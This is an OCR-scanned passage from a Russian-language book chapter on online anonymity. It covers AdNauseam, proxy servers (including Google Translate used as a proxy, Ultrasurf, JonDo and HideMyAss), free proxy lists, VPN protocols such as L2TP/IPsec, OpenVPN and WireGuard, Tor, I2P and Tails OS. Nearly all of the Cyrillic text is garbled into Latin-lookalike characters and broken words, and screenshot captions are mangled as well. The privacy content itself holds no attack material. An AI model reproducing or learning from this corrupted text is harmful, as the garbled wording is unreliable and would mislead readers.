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e AdNauseam mmeeT CITOCOOHOCTH ABTOMATHIECKH «KJIMKATh» Ha 3a0JI0KMPOBAH-
HBIX PEKTAMHBIX OOBSIBIECHUSAX B (QOHOBOM PEKIME. ITO CO3MAET «IITyM» JIJIST Pe-
KJIAMHBIX CeTell, 3aTPyIHSISI OTCJIEKUBAHNE U CO3/IAHNE TOYHBIX TIPOGUIIEH TI0JTh-
30BaTesiell Ha OCHOBE WX MHTEPeCcOB 1 moBeenus. Takum o6pasom, AdNauseam
3aTPYAHSIET JJIsI peKTaMofiaTelel U CTOPOHHUX CIY:KO oTcaekuBanust c60p
nHpopMaIu o Banieii akTHBHOCTH B MHTEPHETE.

lMpokcn-cepsepbl

[TpoKkcy 06BIYHO MCTIONB3YETCS I 0O03HAYEH S BBITIOJHEHNS IEHCTBUIT OT UMEHU
Koro-to niau yero-to. B U'T npokcn MOKHO paccMaTpuBaTh Kak IIPOMeKYyTOUHOE 3Be-
HO, KOTOPOE TIePEChLIAET OTIPABJICHHBIEC NCTOYHUKOM 3aIIPOCKHI K MECTY Ha3HAYCHUS,
MOJIy4aeT OTBETHI U OTIPABJISIET UX OOPATHO K UCTOUYHUKY.

ITO OJIHO U3 TTUPOKO UCTOJIH3YEMBIX PEIICHU st 0OeCTieYeHNsT aHOHUMHOCTH.
EnvracTBeHHAS TPUYMHA MCTIOB30BAHMS TTIPOKcH — cokpoitre [P-anpeca. Cye-
CTBYIOT Pa3IuUHbIE PEIICHUS JIJisi OPTaHU3aI[HU TPOKCH, TaKie Kak BeO-TPOKCH,
arirapaTHbI€ ITPOKCU U T. [I. B ux ocrose BCerAa JIEKUT IMTPUHITAIL TIEPEHAITPaBJICHUA
TpaduKa K MecTy HazHaueHus ¢ pyroro [P-anpeca. VI XoTs TpoKcH MOXKET UCTIOIh-
30BaThCS /I MHOKECTBA JIPYTUX TieJiell, KpoMe aHOHUMHOCTH, MBI COCPEIOTOUNMCS
TOJBKO Ha 3TOU 11eJIN.

MNpobnembl 6e30nacHOCTH

BosMmoskHbI pasable ypOBHM aHOHUMHOCTH Ha OCHOBE Pa3JIMYHBIX TPOKCU-PEIICHUI.
Hexkoropbie mpokcu IpocTo CKPBIBAIOT BallIX IAaHHbIE, COXPAHS BCe BalllU JIeHCTBU
B CBOUX JKypHayIax. MeTojibl 00Hapy KeHUsI KCIOTb30BAHUS TPOKCU-CEPBEPOB YACTO
MO3BOJISTIOT OGHAPYIKUTh, UCTIOJIB3YET MOJTE30BATEIb TPOKCH-CEPBEP MU COC/IUHSIET-
cs ¢ UC nanpsamyio. CTOUT y4ecTb, 4TO IIPOKCHU-CEPBEP — 3TO He Jiyylliee pellieHue,
€CJIM BbI XOTUTE OBITH YBEPEHBI B IOCTATOUHOM COKPBITHH CBOUX JMaHHbIX. KoHeuno,
CYIIECTBYIOT CHCTEMBI, KCTIOJIb30BAHUE KOTOPHIX HE OGHAPYKIBACTCS, CUCTEMBI, KO-
TOpBIE He XPAHAT JAHHBIE O BANUX JCHCTBUSAX, 1 T. 1. [Togxoaure K BEIGOPY MPOKCH
€ OCTOPO’KHOCTBIO.

Google

Google stBiIsteTcst He TOJBKO TOIYJISIPHON MOUCKOBO# CHCTEMOM, €10 TaKiKe MOKHO
HCIOJIb30BaTh B KaueCTBE MPOKCH ¢ oMotibio pyHkimn Google Translate. Cepsuc
Google Translate mosBoJisier unTath BeO-KOHTEHT Ha JIFOOOM SI3BIKE 110 BHIOOPY TI0JIb-
soBareJist. st nepeBozia HeoGxoaumo Beectu URL cTpaHUIlb B TIEPBOE TI0JIE, 2 3aTEM
Ha)KaTh Ha CTEHEPUPOBAHHYIO CEPBUCOM CCBLIKY B cOCeIHEM OKHe. [IpomeMoHcTpu-
pyem ato Ha ipuMepe carita [PLocation.net u [PLocation.com. Ero ocHoBHOI 3a71a-
Yyelt, Kak MOKHO TTOHSTh U3 Ha3BaHUs, ABJgeTCS packpbiTre Hamero [P-agpeca. [lis
HavyaJia MbI OTKPOEM aTOT cailT Harpsimyto (puc. 16.1), a satem — ucnosbsyst Google
Translate (puc. 16.2 u 16.3).
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Puc. 16.3. iHdopmauus c IPLocation.com, nonyyeHHas vepe3 Google Translate

Taxum 06paszoM, ¢ IOMOLIBIO ATOH (PYHKIMK MOXKHO UCIIOJIb30BaTh cepep Google
JUTA TIEPECBIJIKHA 3alIpoCa U MMOJIY4€HNA OTBETa OT €Tr0 UMEHHU, YTO 1 ABJIAETCA OCHOB-
HOW mjeelt TPOKCH.

Besycii0BHO, NOKa3aHHbLIL METOJI He SIBJISIETCS CaMbIM YI00HBIM, OZIHAKO XOPOILO 00b-
sicHsIeT PaboTy IMPOKCU U JIEMOHCTPUPYET TO, KaK MOKHO MCIIOJIb30BAaTh U3BECTHBIE
U TIPUBBIYHBIE BEIN /71T He COBCEM CTAaHIAPTHBIX JIeHCTBUN.

Tunbl NpOKCU-CEPBEPOB

ITporpamMMHBIe IPOKCH-CEPBEPBI TIPECTABIISIIOT c000i camocTositesibHoe 110, Ko-
TOPOE MOXKHO MHCTAJIJIMPOBATD U UCIIOJIb30BATh HA CBOEM KOMIThIOTEPE.

Ultrasurf — a10 GecriaTnoe nporpaMmMHoe obecriederne s 00X0/1a MHTePHeT-1IeH-
3yPBI U 06eCTIeueHnsT aHOHUMHOCTH TIPU TTPOCMOTPE BeG-cTpanuil. M3Hava bHO pas-
paborantasg B 2002 roxy rpyimnoil guccuaenTos us Kutas, aTa mporpamma osBoJisieT
06XO/IUTh YCTAHOBJICHHbBIE TPABUTENbCTBEHHBIMU OPraHU3AIUAME UM HHTEPHET-
npoBaiilepaMu OrpaHUYEHUS JOCTYIIA K ONpe/esieHHbIM caiitam. Tlociie 3amycka
Ultrasurf coennHsiercst ¢ MpOKCH-cepBepaMi, KOTOPbIe 00eCTIeUnBAIOT TG POBAHITE
JIAHHBIX 1 aHOHMMHOCTb TI0JIb30BaTEIsl. DTO CO3/IAET OIPEIe/ICHHbBIE CJIOKHOCTH TIPH
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OTCJIE;KMBAHNUY OHJIATH-aKTUBHOCTH. HpI/I ncrnoab3oBanun 3Toro 11O B CKPbIBA€TEC
IIpeskae BCEro CBoe€ MECTOIIOJIOKEHNE 1 IP-aI_[pec.

OnHaKo cJielyeT OTMETUTBD, UTO Ultrasurf xora u COXpaHsAeT aHOHMMHOCTD B OIpe/ie-
JIEHHOT cTeneHu, He 06ecednBaeT Takoro yposHst Oesonacuoctu, kak Tor mwiun VPN,
U Bce ke miist 06X0/1a MHTEPHET-I[EH3YPHI U 0becTieueHust 6az0BOil aHOHUMHOCTH
Ultrasurf noaxoaur kak mpocToe u A0CTYITHOE PelieHue.

JonDo, takxe uzBectnas kak JAP (Java Anon Proxy) wiu JonDonym, — aTo mipo-
rpaMMHOe obecredenne, MO3BOSIONIee OTHOCUTENBHO AHOHIMHO 1 (e30TacHo
MOJTb30BATHCS PA3TMYHBIMU pecypcaMu [T00anbHON ceTr. DTO MPOKCU-CHCTEMA
C OTKPBITBIM UCXOJHBIM KOJIOM, OCHOBAHHASI HAa MPUHIIUTIE CMENTAaHHBIX ceTeil
(mix network), B KoTopoii TpaduK 110JIb30BaTEIs IIPOIYCKAETCS Yepe3 HECKOIbKO
MPOKCU-CEPBEPOB (CMEIMBAETCsT), YTOOBI CKPBITH €ro UCTUHHBIN [P-azpec u me-
CTOTIOJIOJKEHE.

JonDo Hanucana Ha sI3bIKe Java, 4To obOecredrBaeT KpocciiaThopMeHHOCTb
1 1103BOJIFET MCII0Jb30BaTh €€ B PA3JIMYHBIX OIlePAllMOHHLIX CUCTEeMaX, TaKUX
kak Windows, macOS u Linux. Cucrema JonDonym UCIIOIb3yeT MHOIOYPOBHE-
BYIO CUCTEMY CMENIMBAHUSA, B KOTOPOH TpahuK 1M0JIb30BaTENs IepeaeTcs yepes
HECKOJIBKO ITPOMEKYTOUHBIX cepBepoB (Mixes). ITo nesnaeT upeHTUGUKAINATO
noJib3oBaresieit 1o ux [P-agpecam kpaiine cioxnoii. Kaxk/apiii cepBep B 1iemouke
3HAET TOJIBKO TIPEAbIAYIIII U CJEAYIONIIIT y3er, 4To obeciieunBaeT IPUBaTHOCTh
110JIb30BaTeIs.

OpHaKO BaXKHO OTMETUTB, uTO JonDo mpeiaraeT orpaHUYeHHOE KOJUIECTBO Oec-
IJIATHBIX TIPOKCH-CEPBEPOB € OTPAHUUECHHON TIPOITYCKHOU criocobHOCTBIO. [lJist 110-
cTya K 60Jiee GBICTPBHIM U HATIESKHBIM CEPBEPAM TOTB30BATEIH OJILKHBI TPHOGPECTH
IPEMUYM-TIOITUCKY.

Be6-npoken — camblil IIPOCTOIL, HO He 04eHb YAOOHBII crocod obecredenns aHo-
HUMHOCTH. [JIaBHOE IPENMYIIECTBO BEO-IIPOKCH 3aKITIOYAETCST B TOM, YTO X MOKHO
HCII0JIb30BaTh Bejie, 6e3 He0OXOAMMOCTH HACTPOUKH 1 MIPUBSI3KH K ONIPE/IETIEHHOMY
ITO. [TocTaTouHO TOIBKO OTKPBITH Opay3ep, BBECTH a/[pec MPOKCU-CEPBepa 1 yKasaTh
HEOOXOIMMBII J1JIst AHOHUMHOTO TocerieHust pecype. OiHaKo, Kak yike ObLIo CKasaHo,
IIPOCTOTY UCIIOJIb30BAHMS TIEPEBENINBAET OTPAHIMYEHHOCTD (DYHKI[MOHAIA.

Cy1iecTByeT MHOKECTBO BAPHMAHTOB pealn3aliii BeO-TIIPOKCH; OHN U3 HUX [IPE/IHA-
3HAUEHBI TOJIBKO JIJIS TPOCMOTPA CTPAHUIL, IPYTHE JKe TIPEOCTABIISIOT BO3MOKHOCTD
OIIPaBKK COOOIEHUI 1 YTE€HMSI HOBOCTHBIX JIEHT.

B xauectBe npumepa Be6-mipokcn MoskHo npusectn HideMyAss. HideMyAss, co-
kparteano HMA, 611 ocHoBat B 2005 TO/Ly 1 ¢ T€X MOP CTaJI OJHUM W3 TIOMYJISTPHBIX
npokcu-ceprcoB 1 VPN-11poBaiiiepos, pesiaraioiniM Moab30BaTesIM YCIYTH 110
obecTieueHn o aHOHUMHOCTH 1 Ge3omacHocTr B mHTepHeTe. HMA MOKeT coXpaHsITh
HEKOTOPBbIE JJAHHbIE O CBOMX IT0JIb30BATEJISIX U UX COEINHEHMX, UTO BbI3bIBAET OIIpe-
JleJIeHHbIE OTIACEHUs B OTHOIIEHUH npuBaTHOCTH. Ho /171t 60/IbIIMHCTBA TTOJIB30BaTE-
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Jiei, KOTOPBIM HYsKHa TPOCTas U HaJlesKHast aHOHUMHOCTD B nHTepHere, HideMyAss
SIBJIsIETCs YIOOHBIM U HOIYJIAPHBIM pernerueM (puc. 16.4).

HMA esmaboutima +  pricing  HMAApps v Business GET73% OFF My Account  Help

in the World with the HMA Free Proxy

The simple way to hide your IP and browse anonymously

@ Site you want to access

Try https/fvww.hidemyass.com/en-eu/p-proxy-no-ur

9 Connect through server

Random server ~

£ More options v

By clicking Agree & Connect you confirm you have read and agree to HMA's Privacy Policy.
End User License Agreement and Acceplable Use Policy wiich govern your use of the HMA!
Web Proxy.

Please nate that due to its nature this tool cannot guarantes the proper funcrionality of the
wisated websites, including the possibility of displaying or processing of personal information
that would be otherwise not visible on the website: By continuing to use this 1ol you
acknowledge thas rsk.

Agree & Connect

Puc. 16.4. Be6-uHtepdeiic npokcu-cepsepa HMA
(https://www.hidemyass.com/en-eu/proxy)

Cy1iecTByeT MHOJKECTBO CAlTOB, KOTOPBIE TIPEJIOCTABJISIOT a/IPeCa OTKPBITHIX MPOK-
cu-cepsepos (puc. 16.5), Tounee, IP-agpec u nopT; OJHAKO yYTUTE, YTO IOAOOD
paboTaoIero MPOKCH MOJKET 3aHSATh HEKOTOPOE BPeMs. ITO CBA3AHO C TEM, 4TO
CTIUCKY CEPBEPOB OOHOBIISIIOTCS He TaK YaCTO, KAK XOTeNT0Ch OBI, a TAKKE C TEM, UTO
CTabMIHLHYIO U TTOCTOSTHHYTO PabOTy cepBepa HUKTO He TapaHTHPYET.

OpmHuUM U3 caiiTOB, HA KOTOPOM BbI MOYKETE HANTH CITUCOK MPOKCU-CEPBEPOB, SIBJIS-
ercst Geonode (https://geonode.com/free-proxy-list). Ero ocHoBHOe IpenmyIinecTBo —
IIPEIOCTABIIEHNE PETYIISIPHO 06HOBIIsIEMOTO crircka [P-apecos, a Takke oTo6paske-
HUe Ha3BaHUS JIOKAIMH, CKOPOCTH, IOCTYITHOCTH U IPYTUX MX TapaMeTPOB.

[Tocse BBIGOPA cepBepa, KOTOPHIIT BBl XOTUTE WCIIOJIB30BATh, BAM HEOOXOIMMO TIPO-
nucarhb ero B csoeM Opaysepe. [iaa Mozilla Firefox nactpoiiku nmpokcu-cepsepa
HaxozATcs B pasjedie Settings » Network Settings » Connection Settings (puc. 16.6).
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Free Proxy List

47 Minutes ago 84mM

LLIMITED TIME OFFER Say hello to Unlimited Residential Proxies! Try Unlimited Data for 7 days for only $1

alect country
Lood presties through a URL Export Est ot

https://proxylist.geonode.com/api/proxy-list?limit=5688page=18s | JSON | TXT CSV

WP ADDRESS COUNTRY  PROTOCOLS  ANONYMITY CRG & ASH

186.251.248.15 E BR SOCKS4 Elite (HIA) 267513 Seanct Tele
3.2.136.37 = N SOCKS4 Elite (HIA) 4549981 WorldStrean
197.234.73.4 SOCKSA Elite (HIA) AS36%982 Intelvision

163.258.148.82 Elite (HIA) AS45916 Gtpl Broadb:

Puc. 16.5. Cnncok npokcn-cepsepos

Connection Settings X

Configure Proxy Access to the Internet
) No proxy

() Auto-detect proxy settings for this network
() Use system proxy settings

© Manual proxy configuration

HTTF Proxy . 186.251.248.15 P
B Also use this proxy for HTTPS
HTTPS Proxy | 186.251.248.15 Part 31337
SOCKS Host Port . 0
(0 SOCKS vd D SOCKS v5
) Automatic proxy configuration URL
Reload

Mo proxy for

w

Puc. 16.6. Hactpoiiku npokcu-cepsepa B Mozilla Firefox
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BupTyanbHble yactHble cetn (VPN)

VPN (Virtual Private Network, BupTyaibHast yacTHast c€Th) — 3TO TEXHOJOTHS,
TIO3BOJISAIONIAST CO3/IABAThH OE30TIACHOE COEIMHEHNE MEKY YCTPOICTBAMY WJIH Ce-
Tamu yepes wHTepHeT. VPN obecneunBaeT 6e30MacHOCTD, KOHMUICHITMATHHOCTD
U aHOHUMHOCTB, MUGPYs TepeaBaeMble JaHHble U CKPbIBasi peaybHblil [P-anpec
MOJIb30BATEJIA.

Ecnu onucars a1y Texuosoruto mpoiie, To VPN mo3BoJisieT co3/1aBaTh 4aCTHYIO
CeTh MOBEPX MyOGIMYHON ceTr. BOMBIIMHCTBO OPraHU3aIiil HCIOMB3YIOT BHYTPEH-
HIOIO0 YaCTHYIO CETh JIJISI CBOE MOBCEAHEBHOI pabOThl, HO MHOT/IA JIOJSIM HYKHO
HOJIYYUTD JIOCTYII K 9TOU CETH U3BHE, OTTY/IA, Ille HET MPSIMOTO COEIUHEHUS C CEThIO
opraHusaiuu. Bor TyT-To n mpuxoanT Ha ioMonib VPN, 1103BoJIss T0Ib30BaTeNSIM
6€e30MaCHO TIOJIyYaTh JIOCTYII K YaCTHO# cetn uepes uatepHet. VPN, 1o cyTH, cosnaer
BUPTyaJibHOE COEIMHEHNE «TOUKA-TOUKA» MKy ABYMsT KommbioTepamu. VPN-
cepBep YCTaHABIMBAETCS B O/IHOI TOUKE, U TIOJTH30BATENb TOTYJaeT JOCTYI K HEMY
¢ omotnpio kiarerTa VPN u3 apyroit TOUKu.

[Ipu ncriopzoBanuu VPN BbI rocTrraere MpuMepHO TOTO K€ YPOBHSI aHOHUMHOCTH,
KaK ¥ B CJIydac ¢ POKCH-CEPBEPOM, — Ballle MecToOHaxoskaeHue u [P-aapec GyayT
CKPBITBI OT IIOCTOPOHHUX IJ1a3. EquncTBEeHHOE CylleCTBEHHOE OTJINYMe — €CJIU CO-
eIMHEHNE ¢ cepBepoM ycTaHaBuBaercs yepes VPN, 910 106aBiseT 10MOTHUTE b-
HBIIT /101 6e30TaCHOCTH 1 3alUIaeT TpahuK OT mepexsara 1 MpoCayIiku (He CTOUT
3a0bIBaTh, YTO BA)KHO BBIOMPATH HAJIEKHOTO IIPOBaiiepa, Bellb BCeraa eCTh PUCK
PACKPBITHS BalIMX JJAHHBIX C €70 CTOPOHBI). Ecii y Bac ecTh Takast BOSMOKHOCTD, TO
BBI MOKETe caMu co37aTh cBoit VPN-cepsep.

B unTEepHeTE A0CTYITHO MHOKECTBO OPTaHU3allUi, IPEeOCTABILIONNX YCIYTH
VPN, u 6oJbIUTMHCTBO UX YCIYT ABJAAIOTCA MaaTHbIME. O3HAKOMUTHCS MOXKHO
¢ Proton VPN, Windscribe uiu sir06bM ApyruM mporpaMMHbBIM TPOAYKTOM Ha Balll
BLIOOP.

TexHonornn noctpoexHus VPN

L2TP/IPsec — 310 koMmOuHaius AByx mpotokosos: L2TP (Layer 2 Tunneling
Protocol) u IPsec (Internet Protocol Security). 9ta TeXHOIOTHSI UCTIOIB3YETCS JIJIsT
cosaHust BUPTyanbHbIX yacTHBIX ceteil (VPN), oGecrieunBas 6€301acHOCTD, aHO-
HUMHOCTH ¥ KOH(DUIEHITNATEHOCTD JAHHBIX TIPH TIepeade depe3 myOamaHyIo CeTh.

L2TP (Layer 2 Tunneling Protocol) — nporokoJ, nipeHasHadeH bl A/ CO31aHust
TyHHenel Mesky yerpoiictBamu. Cam 110 cebe OH He TTPEOCTABISIET MNP POBAHNIS,
TTOITOMY €T0 UCTIOB3YIOT B coueTanyu ¢ IPsec miist obectiedennst Ge30mMacHOCTH Tiepe-
naun gantbix. [Psec (Internet Protocol Security) — Hab0p MPOTOKOJIOB U aJITOPUT-
MOB, IIPeJIHA3HAYEHHBIX JJIsT INMPOBAHNS U ayTEHTU(DUKAIINY TTAKETOB JAHHBIX HA
ypoBHe ceteBoro poTokosa IP. IPsec obecrieunBaeT 3aiuty repeaBaeMbIX JaHHBIX
OT TIepexBata, MOAU(MUKAIINN WA BMEIIATEIbCTBA TPETHUX JIUIL.
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Bwmecte L2TP u IPsec cosgaror Hagesxknoe n 6esomacnoe VPN-coennnenne. Korna
nosib3oBarens nogakiodaercs kK L2TP /IPsec VPN, cravasna yctanaBimBaeTcs coein-
Henue L2TP, koTopoe obecrieunBaeT TYHHETMPOBAHIE MEXK/Y KJIMEHTOM 1 CEPBEPOM.
3atem ucnombayercsa [Psec qig mmudpoBanus n ayTeHTUPUKAINN TIepe/laBaeMbIX
JIAaHHBIX.

L2TP/IPsec VPN 006b14HO cunTaeTcs 6e30IacHbIM 1 HaAEKHBIM BHIOOPOM IJIsT
coznanusg VPN-coepmnennii. OqHako yu4TuTe, YTO HACTPOWKA U MCTIOJTb30BAHUE
L2TP/IPsec MoxeT ObITh CIOKHEe, YeM HACTPOMKa IPOrPAMMHBIX IIPOLYKTOB,
WCITOJIb3YIONMX HeKoTophie apyrue texnonorun VPN (manpumep, OpenVPN unn
WireGuard).

OpenVPN — ojiHa 13 caMbIX MOMYJISIPHBIX W HAJIEKHBIX TEXHOJIOTUIN JIJISI CO3/IAaHUS
BUPTyaIbHbIX YacTHBIX ceTell (VPN). 9T OTKPBITBIN U THOKUH TIPOTOKOJI, OCHOBAH-
Hberi Ha npuHiunax SSL/TLS nng mmdposBanug u ayteatudukanun. OpenVPN
obecrieurBaeT 6€30MACHOCTD, AHOHUMHOCTD U KOH(DUIEHIUATLHOCTD TaHHBIX MTPU
nepejade yepes myOGamaHyIo CeTh.

OpenVPN paboraer Ha TPAHCTIOPTHOM YPOBHE U MOKET UCIIOJIB30BATH TIPOTOKOJIBI
TCP nnu UDP ns nepenaun nanubix. [IpenmytiectBo ucnonb3oBarust UDP 3a-
KJo4aercs B 0oJiee BBICOKON CKOPOCTH Iepeaun JaHHbIX, B TO Bpems Kak TCP
obecTieunBaeT Ha/IEKHOCTh U YCTOWYMBOCTH COEMHEHMSI,

Ocnosnble xapaktepuctuku OpenVPN:

® BBICOKHIT yPOBEHD HE30IIACHOCTU: UCTIOJIB3YIOTCSI MeXaHU3Mbl T posanust SSL/
TLS, takue anroputmsl mudposBanus, kak AES u RSA, a takke riudpossbre cep-
TUDUKATHI 15T Ay TEHTUDUKAIIMY YCTPOICTB U TI0JIb30BaTe €]

® OTKPBITHIII HCXOHBII KO Y COOOIIECTBA €CTh BOSMOKHOCTD YJIy4IlIaTh U MPO-
BepTh 6E30I1aCHOCTH CBOOOLHOIO IIPOrPAMMHOI0 00eCIeYeHN s

® KkpoccIaTOPMEHHOCTD: COBMECTUMOCTD ¢ OOJIBIIMHCTBOM OIEPAI[MOHHBIX CH-
creM, Bkaodasd Windows, macOS, Linux, Android n iOS;

® THOKOCTb U HAaCTPanMBa€MOCTD: IIPEAOCTABIACTCA 1HI/IpOKI/II>,I CIIEKTDP OHI_II/IIL/,I KOH-
(bHpraHI/II/I, TIOAPa3yMeBAIOIINX aallTallWIO IO PAa3/INYHbIC HOTp66HOCTI/I n cie-
Hapumn NCIIOJIb30BaHNAI;

® TII0//AEpPiKKa MHOI‘OYpOBHeBOfI ayTeHTI/I(l)I/IKaIII/II/IZ BO3MOJKHOCTb MCIIOJIb30BaTb
OHOBPEMEHHO HECKOJIBKO METO/10B aYTeHTI/I(bI/IKaHI/II/I, TaKHX KaK I1apoJiH, IlI/I(b-
POBbIEC CepTI/I(bI/IKaTbI 1 allliapaTHbIE€ KJ/JII04Y1.

OpenVPN sBiisgercs MOIHBIM, 0e30IacHbIM U TUOKMM pPelleHneM /IS CO3JaHusl
VPN-coennnenuii u obecriedeHus 3aniuThl JaHHbIX B CeTu.

WireGuard — coBpeMeHHast BRICOKOIIPOU3BOIUTEbHAS 1 OE30MACHAS] TEXHOJIOTHSI
JUISE CO3/IaHusT BUPTYabHBIX yacTHRIX ceteil (VPN). DToT npoTokos pazpaboran
C aKIEHTOM Ha [IPOCTOTY, CKOPOCTH 1 HA/IEKHOCTD, OJ1aro/Iapst 4eMy OH 00eCrieurBaeT
BBICOKYIO CTETIEHD 3alllUThI U AHOHUMHOCTH [IPU [Iepejiade JAHHBIX Yepes Iy OInaHbIE
CeTH.
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Ocnosnble xapakrepuctuk WireGuard:

® TIPOCTOTA U OTKPBITOCTH: OTKPBITHIH, TPOCTON U KOMIAKTHBIN KO/ 06Jerdaert
Ay/IUT, TOMIEPKKY U OTIAIKY, uTo femaet WireGuard Gosee HameskHbM 11 6€30-
MIaCHBIM, YeM HeKOTOopble ipyrue TexHosoruu VPN;

® BBICOKAS ITPOM3BOIUTEIBHOCTD: UCITIOJb30BAHIE TAKIX COBPEMEHHBIX KPUIITOTPa-
(buyecKux MPOTOKOJIOB U anropuTMoB, kak Curve25519, ChaCha20, Poly1305
u BLAKE2, nia obecriederHns BICOKON CKOPOCTU U HU3KOHU 3aJEPKKU IIPU
nepezaye TaHHbIX;

® 0e30macHOCTD: ObecTeyerre 3aMnThl KOHOUAESHITHATLHOCTH 1 TIETOCTHOCTH [TaH-
HBIX € TIOMOIIBIO MG poBaHud, ayTeHTU(UKAINHI U CEAHCOBBIX KJIIOYEN;

e kpoccrnarOpPMEHHOCTD: TIOJIIEPAKKA MHOKECTBA OIIEPALIMOHHBIX CHCTEM, BKJIIO-
yag Linux, Windows, macOS, Android n iOS;

® TIO/IepP/KKA POYMUHTA: aBTOMATHYECKOE YCTAHOBJIEHIE COSUHEHUS TIPH TIepe-
KJIOUEHUN MESKIY PasHbIMU CeTssMU Ui aapecamu [P mosBosisieT obecreuunTsb
6ecIIoBHY0 Pab0OTy Ha MOOMJIBHBIX YCTPOICTBAX;

® JIErKOCTh HACTPOUKM: JIOCTYITHOCTD JIJIS TOJIb30BaTE e JII0O0T0 YPOBHSI;

® HU3Kas HAarPysKa Ha CHCTeMY: pa3padoTaH ¢ aKIIEHTOM Ha IPOM3BOAUTENBHOCTb,
[09TOMY OH MOTPeOJISIeT MEHbIIE CHCTEMHbBIX PECYPCOB, YeM HEKOTOPbIE APyTHe
texaosiornuu VPN.

WireGuard npeacrasisier coboii mHHOBaIMOHHOE U 3 (PEKTUBHOE PENIeHNe I
cospanust VPN-coequHennii, obecriednBaoiiee BHICOKYIO CTelleHb 0e3011acHOCTH,
AHOHMMHOCTHU ¥ TIPOM3BOAUTEIbHOCTH TIpHU pabore B CeTw.

AHOHUMMHbIE CeTH

AHOHUMHBIE CETH — 9TO CETH, CO3[aHHbIE /7St 00eCTIeYeHUsT AaHOHUMHOCTH W TTPHU-
BaTHOCTH TOJIb30BaTEICH IPU UX B3aUMOECHCTBUH € IPYTUMHU YIaCTHUKAMK U BeO-
pecypcamu B uaTepHere. OHM UCTONB3YIOT Pa3InYHbIe METO/BI MMU(pPOBAHNS,
MapIIpyTH3AIK ¥ COKPBITUS WACHTU(DUKATTMOHHBIX JaHHBIX J1Jst 06ecTeqeHust
KOHPUAEHITHATBHOCTH U aHOHUMHOCTH TI0JTh30BaTe e,

B rakux cersix TpaduK HANPABJSETCST Y€Pe3 HECKOJIBKO PA3HBIX TOUEK, CO3AMHBIX
APYTUMU YYaCTHUKaMU. O6LI'—IHO ITOJIb30BaTEJ/IN CETU ABJIAIOTCA YHIACTHUKAMU U 110~
MOTAIOT IPYT APYTY mepenaBath Tpaduk. CeTh MOCTPOEHA TAKIM 00Pa30M, UTO HCTOY-
HUK U TIOJTyYaTeh HUKOT/Ia He 00IA0TCs HAPSAMYTO, KOMMYHUKATIUS TTPOUCXO/UT
C WCTIOTb30BAHUEM MHOTOUHCJIEHHBIX TPOMEKYTOUHBIX Y3JI0B, 4TO 0GeceynBaeT
AHOHMMHOCTD.

Mpk1 He 6szeM HOIIpO6HO OCTaHABJINBATbCA Ha TAKUX CETAX BBUY TOT'O, 9YTO YIKE
paccMOTpeNH UX UCIOJIb30BaHue B pasziesie «CKpIThIi MHTEpHET> To1aBbl 3 «CoOop
OTKPBITOI MH(MOPMAIIUN O eI, HO ellle Pa3 YIIOMSHEM BayKHeNIIe 13 HUX.

Tor (The Onion Router) — ogHa 13 caMbIX M3BECTHBIX AHOHUMHbBIX CETeHl, HCII0/Ib-
3YI0IIasi MHOTOCJIONHYIO CUCTEMY ITHU(MDPOBAHUS U MAPIIPYTU3AINH YePe3 CITyIaiiHO
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BbIOpaHHBIE Y3JIbl ceTH (peeiinbie y3ibl). [TonbsoBaresnu Tor, ocTaBasich aHOHUM-
HBIMHU, MOTYT TIOJYYaTh JOCTYI K OOBIYHBIM BebG-caiiTaM U CIIEIUATbHBIM CKPBITHIM
pecypcam (JIOMeHbI .onion).

I2P (Invisible Internet Project) — aHOHUMHASI CETh, KOTOPAsI CO3/IAET MOJTHOCTHIO
mpPOBaAHHYIO CeTh BHYTPU MHTEPHETA, CIOJIBb3YsI TapaHTUPYIONLYT0 KOH(MUIEHIN -
AIBHOCTD TEXHOIOTHIO. DTO MO3BOJISIET TTOJIH30BATEISIM 0OMEHUBATHCS HHMDOPMATIH-
eif, 06IaThCsT ¥ TIOTYYaTh IOCTYI K PA3INYHBIM CepBICaM 6e3 OTaceHust YTEUKH UX
UAEeHTUDUKATTMOHHBIX TAHHBIX.

AHOHUMHBIE CETU TIOJIE3HBI B CUTyalluAX, KOT/Ia HYKHO COXPAaHUTH aHOHUMHOCTD
" 3alllUTUTDH CBOIO IIPUBATHOCTD OT CJIEKKH, IIEH3YPbI NJIN Bpa)KlI€6HBIX dKTOPOB.
OI[HaKO AaHOHUMHDbIE CETH MOI'yT OBITb UCIIOIb30BAHbL 1 JIJIA HE3aKOHHDBIX ueﬂeﬁ, 4qTo
BBI3bIBACT OIIPpEAC/ICHHbIE HpO6]I€MbI 1 OrpaHUYeHre X IMTPUMEHEHNA.

OnepaunoHHbIE CUCTEMbI, 0becneunBatoLme
aHOHMMHOCTb

Besyci0BHO, OMHUM U3 CaMbIX SIPKUX NpeacTaBuTeneii atoro kiaacca OC saBisercs
Tails OS.

Tails OS (The Amnesic Incognito Live System) — omepaiinoHHasi cucrema, pas-
paboTaHHas ¢ MeTbio 0OeCTIeUeHNsT MAKCHMATBHON aHOHUMHOCTH U Ge30TMacHOCTH
nosib3oBaresieit mpu pabore B nuTepHete. Tails paboTaer kak live-cucrema, To ecTh
sarpyskaercst ¢ BHenrHero Hocuresst (USB-dueniku uian DVD) u He Tpebyer ycra-
HOBKH HAa JKECTKUII TUCK.

Ocuosuble ocobennoctu Tails OS:

® AaHOHMMHOCTH: aBTOMATHYECKOe HAIpaBjeHre BCcero MHTepHeT-TpaduKa yepes
cetp Tor femaeT cyeXKy ¥ WICHTH(UKAINIO TOJIb30BaTeNs 3aTPYAHUTEIBHOIL;

® OTCYTCTBHE CJIeJIOB Ha KOMIIBIOTEPE, C KOTOPOTO OHa ObLIa 3arpyskeHa: 1ocJjie 3a-
BepHIieHu:A pa6OTI)I 1 BBIK/TIOYEHUST KOMITbIOTEPA HE COXPAHAETCA HUKAKUX TaHHbBIX
O CeCCHH, 4YTO JiesaeT X HEJOCTYITHBIMU 1JisA BOCCTAaHOBJICHW ]

® BCTPOCHHBIC 3AI[UIICHHDBIC IIPUJIOKECHNA: obecreyenne 6€30MaCHOCTU U aHO-
HUMHOCTHU IIpU pa60Te C TEKCTOBBIMU NOKYMEHTAMU, BJIeKTpOHHOfI HOLITOIL/,I,
MIHOBE€HHbBIMH COO6H_IGHI/I§IMI/I n ApyruMm cepBrucamMu € 1moMoIbo Ha60pa pe-
AYCTaHOBJIEHHBIX HpH]IO)KeHHfIZ

¢ Tor Browser: ocHoBan Ha Mozilla Firefox u npeaHasHaueH 111 aHOHUMHOTO
cepduHra B MHTEPHETE € UCIIOIb30BAaHUEM ceTH Tor;

¢ OnionShare: puoskeHue [jist aHOHUMHOU Tiepeiaun (hailios uepes cetsb Tor,
